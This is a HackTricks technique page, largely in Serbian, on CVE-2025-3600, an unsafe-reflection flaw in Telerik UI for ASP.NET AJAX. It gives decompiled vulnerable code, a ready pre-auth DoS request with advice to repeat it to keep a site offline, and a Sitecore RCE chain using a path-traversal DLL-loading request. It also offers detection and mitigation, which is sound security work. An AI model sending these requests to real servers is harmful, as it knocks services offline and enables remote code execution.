Telerik UI for ASP.NET AJAX – Nesigurna refleksija preko WebResource.axd (type=iec)
Reading time: 8 minutes
tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Pre‑auth izvršavanje konstruktora u Telerik UI for ASP.NET AJAX Image Editor cache handler omogućava univerzalni DoS i, u mnogim aplikacijama, pre‑auth RCE putem target‑specific gadgets (CVE-2025-3600).
TL;DR
- Pogođena komponenta/putanja: Telerik.Web.UI.WebResource.axd sa upitom type=iec (Image Editor cache handler). Izloženo pre‑auth u mnogim proizvodima.
- Primitive: Napadač kontroliše ime tipa (prtype). Handler ga rešava koristeći Type.GetType() i poziva Activator.CreateInstance() pre nego što proveri sigurnost tipa (interface type-safety). Bilo koji javni .NET tip sa konstruktorom bez parametara će se izvršiti.
- Uticaj:
- Univerzalni pre‑auth DoS uz .NET framework gadget (PowerShell WSMan finalizer).
- Često eskalira u pre‑auth RCE u stvarnim implementacijama zloupotrebom app‑specific gadgets, posebno nesigurnih AppDomain.AssemblyResolve handlers.
- Rešenje: Ažurirajte na Telerik UI for ASP.NET AJAX 2025.1.416+ ili uklonite/zaključajte handler.
Affected versions
- Telerik UI for ASP.NET AJAX versions 2011.2.712 through 2025.1.218 (inclusive) are vulnerable.
- Fixed in 2025.1.416 (released 2025-04-30). Patch immediately or remove/lock down the handler.
Affected surface and quick discovery
- Provera izloženosti:
- GET /Telerik.Web.UI.WebResource.axd should return something other than 404/403 if the handler is wired.
- Inspect web.config for handlers mapping to Telerik.Web.UI.WebResource.axd.
- Trigger path for the vulnerable code-path requires: type=iec, dkey=1, and prtype=
.
Example probe and generic trigger:
GET /Telerik.Web.UI.WebResource.axd?type=iec&dkey=1&prtype=Namespace.Type, Assembly
Notes
- Neki PoCs koriste dtype; implementacija proverava dkey=="1" za tok preuzimanja.
- prtype mora biti assembly-qualified ili razrešiv u trenutnom AppDomain.
Root cause – unsafe reflection in ImageEditorCacheHandler
Tok preuzimanja Image Editor cache-a kreira instancu tipa prosleđenog u prtype i tek kasnije je kastuje u ICacheImageProvider i validira ključ za preuzimanje. Konstruktor se već izvršio kada validacija ne uspe.
Relevantan dekompajlirani tok
// entrypoint
public void ProcessRequest(HttpContext context)
{
string text = context.Request["dkey"]; // dkey
string text2 = context.Request.Form["encryptedDownloadKey"]; // download key
...
if (this.IsDownloadedFromImageProvider(text)) // effectively dkey == "1"
{
ICacheImageProvider imageProvider = this.GetImageProvider(context); // instantiation happens here
string key = context.Request["key"];
if (text == "1" && !this.IsValidDownloadKey(text2))
{
this.CompleteAsBadRequest(context.ApplicationInstance);
return; // cast/check happens after ctor has already run
}
using (EditableImage editableImage = imageProvider.Retrieve(key))
{
this.SendImage(editableImage, context, text, fileName);
}
}
}
private ICacheImageProvider GetImageProvider(HttpContext context)
{
if (!string.IsNullOrEmpty(context.Request["prtype"]))
{
return RadImageEditor.InitCacheImageProvider(
RadImageEditor.GetICacheImageProviderType(context.Request["prtype"]) // [A]
);
}
...
}
public static Type GetICacheImageProviderType(string imageProviderTypeName)
{
return Type.GetType(string.IsNullOrEmpty(imageProviderTypeName) ?
typeof(CacheImageProvider).FullName : imageProviderTypeName); // [B]
}
protected internal static ICacheImageProvider InitCacheImageProvider(Type t)
{
// unsafe: construct before enforcing interface type-safety
return (ICacheImageProvider)Activator.CreateInstance(t); // [C]
}
Eksploataciona primitiva: Kontrolisani string tipa → Type.GetType ga rešava → Activator.CreateInstance pokreće njegov javni konstruktor bez parametara. Čak i ako je zahtev kasnije odbijen, sporedni efekti gadgeta su se već dogodili.
Univerzalni DoS gadget (nisu potrebni specifični gadgeti vezani za aplikaciju)
Klasa: System.Management.Automation.Remoting.WSManPluginManagedEntryInstanceWrapper u System.Management.Automation (PowerShell) ima finalizer koji poziva Dispose nad neinicijalizovanim handle-om, što prouzrokuje neuhvaćeni izuzetak kada GC finalizuje objekat. Ovo pouzdano ruši IIS worker proces ubrzo nakon instanciranja.
Jednokratni DoS zahtev:
GET /Telerik.Web.UI.WebResource.axd?type=iec&dkey=1&prtype=System.Management.Automation.Remoting.WSManPluginManagedEntryInstanceWrapper,+System.Management.Automation,+Version%3d3.0.0.0,+Culture%3dneutral,+PublicKeyToken%3d31bf3856ad364e35
Notes
- Nastavljajte periodično slanje zahteva da biste držali sajt offline. Možete primetiti da se constructor pokreće u debuggeru; crash se dešava pri finalization.
Od DoS do RCE – obrasci eskalacije
Unsafe constructor execution otključava mnogo target‑specific gadgets i chains. Potražite:
- Parameterless constructors that process attacker input
- Neki ctors (ili static initializers) odmah čitaju Request query/body/cookies/headers i (de)serialize ih.
- Primer (Sitecore): a ctor chain dostiže GetLayoutDefinition() koja čita HTTP body "layout" i deserializuje JSON putem JSON.NET.
- Constructors that touch files
- Ctros koji load-uju ili deserialize-ju config/blobs sa diska mogu biti prisiljeni ako možete pisati u te putanje (uploads/temp/data folders).
- Constructors performing app-specific ops
- Resetovanje stanja, uključivanje/isključivanje modula, ili terminiranje procesa.
- Constructors/static ctors that register AppDomain event handlers
- Mnoge aplikacije dodaju AppDomain.CurrentDomain.AssemblyResolve handlere koji grade DLL putanje iz args.Name bez sanitizacije. Ako možete uticati na type resolution možete prisiliti učitavanje proizvoljnih DLL-ova sa putanja koje kontroliše napadač.
- Forcing AssemblyResolve via Type.GetType
- Zatražite nepostojeći tip da biste prisilili CLR resolution i pozvali registrovane (moguće nesigurne) resolvere. Primer assembly-qualified name:
This.Class.Does.Not.Exist, watchTowr
- Finalizeri sa destruktivnim sporednim efektima
- Neki tipovi brišu fajlove sa fiksne putanje u finalizerima. U kombinaciji sa praćenjem linkova ili predvidivim putanjama ovo može omogućiti lokalno eskaliranje privilegija u određenim okruženjima.
Primer pre‑auth RCE lanca (Sitecore XP)
- Step 1 – Pre‑auth: Aktivirajte tip čiji static/instance ctor registruje nesiguran AssemblyResolve handler (npr. Sitecore’s FolderControlSource u ControlFactory).
- Step 2 – Post‑auth: Obezbedite mogućnost upisa u direktorijum koji resolver proverava (npr. putem auth bypass ili weak upload) i postavite zlonamerni DLL.
- Step 3 – Pre‑auth: Iskoristite CVE‑2025‑3600 sa nepostojećim tipom i traversal‑nabijenim imenom assembly-a da biste naterali resolver da učita vaš postavljeni DLL → izvršavanje koda kao IIS worker.
Primeri okidača
# Load the insecure resolver (no auth on many setups)
GET /-/xaml/Sitecore.Shell.Xaml.WebControl
# Coerce the resolver via Telerik unsafe reflection
GET /Telerik.Web.UI.WebResource.axd?type=iec&dkey=1&prtype=watchTowr.poc,+../../../../../../../../../watchTowr
Beleške o validaciji, lovu i DFIR
- Sigurna validacija u labu: pokrenite DoS payload i pratite app pool recycle/unhandled exception vezan za WSMan finalizer.
- Pretraga u telemetriji:
- Zahtevi na /Telerik.Web.UI.WebResource.axd sa type=iec i neobičnim prtype vrednostima.
- Neuspešna učitavanja tipova i AppDomain.AssemblyResolve događaji.
- Iznenadni w3wp.exe padovi/recycle-ovi nakon takvih zahteva.
Mitigacija
- Ažurirajte na Telerik UI for ASP.NET AJAX 2025.1.416 ili noviju verziju.
- Uklonite ili ograničite izloženost Telerik.Web.UI.WebResource.axd gde je moguće (WAF/rewrites).
- Ignorišite ili ojačajte server-side obradu prtype (upgrade primenjuje odgovarajuće provere pre instanciranja).
- Auditujte i ojačajte prilagođene AppDomain.AssemblyResolve handlere. Izbegavajte gradnju putanja iz args.Name bez sanitizacije; preferirajte strong-named loads ili whitelists.
- Ograničite lokacije za upload/pisanje i sprečite postavljanje DLL-ova u direktorijume koji se proveravaju.
- Pratite pokušaje učitavanja nepostojećih tipova da biste otkrili zloupotrebu resolver-a.
Brzi sažetak
- Provera prisustva:
- GET /Telerik.Web.UI.WebResource.axd
- Potražite mapiranje handler-a u web.config
- Exploit skeleton:
GET /Telerik.Web.UI.WebResource.axd?type=iec&dkey=1&prtype=<TypeName,+Assembly,+Version=..., +PublicKeyToken=...>
- Universal DoS:
...&prtype=System.Management.Automation.Remoting.WSManPluginManagedEntryInstanceWrapper,+System.Management.Automation,+Version%3d3.0.0.0,+Culture%3dneutral,+PublicKeyToken%3d31bf3856ad364e35
- Pokreni resolver:
This.Class.Does.Not.Exist, watchTowr
Povezane tehnike
- IIS post-exploitation, .NET key extraction i in‑memory loaders:
IIS - Internet Information Services
- ASP.NET ViewState deserialization i machineKey abuses:
Exploiting __VIEWSTATE without knowing the secrets
Reference
- watchTowr labs – More than DoS: Progress Telerik UI for ASP.NET AJAX Unsafe Reflection (CVE-2025-3600)
- Black Hat USA 2019 – SSO Wars: The Token Menace (Mirosh & Muñoz) – DoS gadget background
- ZDI – Abusing arbitrary file deletes to escalate privilege
- watchTowr – Is “B” for Backdoor? (Sitecore chain CVE-2025-34509)
tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
HackTricks